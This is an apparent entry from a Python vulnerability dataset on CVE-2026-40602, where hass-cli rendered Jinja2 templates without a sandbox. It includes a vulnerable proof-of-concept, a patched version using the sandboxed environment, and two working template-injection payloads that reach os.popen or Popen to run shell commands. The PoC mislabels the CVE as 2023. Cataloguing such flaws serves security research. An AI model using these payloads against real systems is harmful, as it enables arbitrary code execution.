VAITP Dataset

← Back to the dataset

CVE-2026-40602

Unsandboxed Jinja2 template in hass-cli < 1.0.0 allows code execution.

  • CVSS 5.6
  • CWE-94
  • Design Defects
  • Local

The Home Assistant Command-line interface (hass-cli) is a command-line tool for Home Assistant. Up to 1.0.0 of home-assitant-cli an unrestricted environment was used to handle Jninja2 templates instead of a sandboxed one. The user-supplied input within Jinja2 templates was rendered locally with no restrictions. This gave users access to Python's internals and extended the scope of templating beyond the intended usage. This vulnerability is fixed in 1.0.0.

CVSS base score
5.6
Published
2026-04-21
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Design Defects
Subcategory
Command Injection
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
Home Assista
Fixed by upgrading
Yes

Solution

Upgrade home-assistant-cli to version 1.0.0 or later.

Vulnerable code sample

import jinja2
import os
import sys

# This PoC simulates the vulnerable behavior of hass-cli prior to version 1.0.0.
# It takes a Jinja2 template string as a command-line argument and renders it
# using an unrestricted environment, allowing for arbitrary code execution.

def vulnerable_render(template_string):
    """
    Renders a template string using a non-sandboxed Jinja2 environment,
    which is the root cause of the vulnerability.
    """
    env = jinja2.Environment()
    template = env.from_string(template_string)
    output = template.render()
    print(output)

if __name__ == "__main__":
    # A sample malicious payload that can be passed as an argument.
    # It accesses Python's object hierarchy to find and use os.popen.
    # The specific index [e.g., 132] can vary based on the Python version and environment.
    # A more robust payload is used here to find a module that imports 'os'.
    payload = "{{ [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('echo VULNERABLE').read() }}"
    
    print("--- Running PoC for CVE-2023-40602 ---")
    print(f"Using payload: {payload}\n")
    print("Result:")
    
    vulnerable_render(payload)

Patched code sample

import jinja2

def render_template_safely(template_string: str, **kwargs):
    """
    Renders a Jinja2 template using a sandboxed environment.

    The vulnerability was the use of the unrestricted `jinja2.Environment()`.
    The fix is to explicitly use `jinja2.SandboxedEnvironment()`, which prevents
    templates from accessing potentially dangerous Python attributes and methods.
    """
    sandboxed_env = jinja2.SandboxedEnvironment()
    template = sandboxed_env.from_string(template_string)
    return template.render(**kwargs)

Payload

2
{% for c in ''.__class__.__mro__[1].__subclasses__() %}{% if c.__name__ == 'Popen' %}{{ c('id', shell=True, stdout=-1).communicate()[0] }}{% endif %}{% endfor %}

Cite this entry

@misc{vaitp:cve202640602,
  title        = {{Unsandboxed Jinja2 template in hass-cli < 1.0.0 allows code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-40602},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40602/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::